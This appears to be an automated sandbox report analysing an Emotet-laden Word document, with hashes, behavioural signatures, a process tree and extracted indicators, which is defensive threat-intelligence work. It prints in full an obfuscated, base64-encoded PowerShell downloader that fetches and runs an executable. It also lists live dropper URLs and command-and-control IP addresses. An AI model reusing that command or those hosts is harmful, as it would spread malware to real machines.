Analysis

  • max time kernel
    60s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    01-08-2020 19:37

General

  • Target

    SecuriteInfo.com.Exploit.Siggen2.12924.1168.4752.doc

  • Size

    173KB

  • MD5

    8926558472c411e95e18b57c17b6c8d9

  • SHA1

    b5461e95c29e6e38b242ecf5ff10c6883f41371b

  • SHA256

    b920bae96043cfc55017d7a67bb6c5caac098cfce2620c6348e63cf4f7842378

  • SHA512

    6b93474601d89a01b2974f4d3596c387725f011f37dabcd074d9cd2e1a072e8510ea961b9ad08b2c41f0565fa6e09eeb51a3a4af45e8151ccf202d9af80eafd4

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.ifitmoves.net/option-tree/age9k_r7p_0l2/

exe.dropper

http://goldenstatetow.com/peradice.com/jk_le4_xip2a7s6/

exe.dropper

http://philosopherswheel.com/mizeo9/y_6pth_ymkgef/

exe.dropper

http://highlevelphoto.co.uk/Clients/7uf_yp_76rqsyz/

exe.dropper

http://klem.com.pl/tester/ntts3_j_3cgou2/

Extracted

Family

emotet

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80

rsa_pubkey.plain

Signatures

  • Office loads VBA resources, possible macro or embedded object present
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Modifies registry class 280 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12924.1168.4752.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    PID:1092
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABHAEQASgBSAEoAbwBjAGEAPQAnAE4ARABYAEYAUwBwAGwAZwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwB1AGAAUgBpAGAAVAB5AFAAUgBPAFQAbwBgAGMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABXAEIATQBBAEYAbQBzAGoAIAA9ACAAJwA2ADcANAAnADsAJABBAEEASABaAFoAdQBzAGUAPQAnAFcAQgBUAE0AWgBjAGEAbQAnADsAJABJAEYAWgBBAFYAdQBjAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFcAQgBNAEEARgBtAHMAagArACcALgBlAHgAZQAnADsAJABSAFYATABYAFYAZwBvAGUAPQAnAFEASQBXAE8AWgB2AHgAaQAnADsAJABKAEcATwBaAEcAbQBwAHcAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQBUAC4AVwBlAGIAQwBsAGkAZQBOAFQAOwAkAEIAVwBCAEIASQBpAG8AZwA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGkAZgBpAHQAbQBvAHYAZQBzAC4AbgBlAHQALwBvAHAAdABpAG8AbgAtAHQAcgBlAGUALwBhAGcAZQA5AGsAXwByADcAcABfADAAbAAyAC8AKgBoAHQAdABwADoALwAvAGcAbwBsAGQAZQBuAHMAdABhAHQAZQB0AG8AdwAuAGMAbwBtAC8AcABlAHIAYQBkAGkAYwBlAC4AYwBvAG0ALwBqAGsAXwBsAGUANABfAHgAaQBwADIAYQA3AHMANgAvACoAaAB0AHQAcAA6AC8ALwBwAGgAaQBsAG8AcwBvAHAAaABlAHIAcwB3AGgAZQBlAGwALgBjAG8AbQAvAG0AaQB6AGUAbwA5AC8AeQBfADYAcAB0AGgAXwB5AG0AawBnAGUAZgAvACoAaAB0AHQAcAA6AC8ALwBoAGkAZwBoAGwAZQB2AGUAbABwAGgAbwB0AG8ALgBjAG8ALgB1AGsALwBDAGwAaQBlAG4AdABzAC8ANwB1AGYAXwB5AHAAXwA3ADYAcgBxAHMAeQB6AC8AKgBoAHQAdABwADoALwAvAGsAbABlAG0ALgBjAG8AbQAuAHAAbAAvAHQAZQBzAHQAZQByAC8AbgB0AHQAcwAzAF8AagBfADMAYwBnAG8AdQAyAC8AJwAuACIAUwBQAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAEUASwBXAFIAagBxAGQAPQAnAFQAUgBZAEMAUwBkAHUAbwAnADsAZgBvAHIAZQBhAGMAaAAoACQAVwBIAEcARgBKAGkAZwBxACAAaQBuACAAJABCAFcAQgBCAEkAaQBvAGcAKQB7AHQAcgB5AHsAJABKAEcATwBaAEcAbQBwAHcALgAiAGQAbwB3AE4AYABMAG8AYABBAGAAZABGAEkATABlACIAKAAkAFcASABHAEYASgBpAGcAcQAsACAAJABJAEYAWgBBAFYAdQBjAGkAKQA7ACQASgBEAEYAQgBLAHUAZQBiAD0AJwBQAEgAQwBZAFAAcQB4AGIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABJAEYAWgBBAFYAdQBjAGkAKQAuACIAbABFAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADYAMQA4ADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAEUAYABBAHQARQAiACgAJABJAEYAWgBBAFYAdQBjAGkAKQA7ACQAVQBFAEIASABSAHUAdgBuAD0AJwBOAFEAVABVAEsAegBuAGYAJwA7AGIAcgBlAGEAawA7ACQAWABVAFAAUwBQAG4AYQB3AD0AJwBVAEMASQBFAFEAdgBuAHQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQBWAE8ARwBQAGgAbQBuAD0AJwBXAE4AUgBZAEIAawB5AGQAJwA=
    1⤵
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Suspicious use of AdjustPrivilegeToken
    PID:1028
  • C:\Users\Admin\674.exe
    C:\Users\Admin\674.exe
    1⤵
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1836
    • C:\Windows\SysWOW64\SyncInfrastructureps\KBDES.exe
      "C:\Windows\SysWOW64\SyncInfrastructureps\KBDES.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:1852

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\674.exe
  • C:\Users\Admin\674.exe
  • C:\Windows\SysWOW64\SyncInfrastructureps\KBDES.exe
  • memory/1092-2-0x0000000008880000-0x0000000008884000-memory.dmp
    Filesize

    16KB

  • memory/1092-5-0x000000000A9F0000-0x000000000A9F4000-memory.dmp
    Filesize

    16KB

  • memory/1092-6-0x000000000BA70000-0x000000000BA74000-memory.dmp
    Filesize

    16KB

  • memory/1092-8-0x0000000006D10000-0x0000000006F10000-memory.dmp
    Filesize

    2.0MB

  • memory/1836-11-0x00000000003B0000-0x00000000003BC000-memory.dmp
    Filesize

    48KB

  • memory/1852-12-0x0000000000000000-mapping.dmp
  • memory/1852-14-0x0000000000330000-0x000000000033C000-memory.dmp
    Filesize

    48KB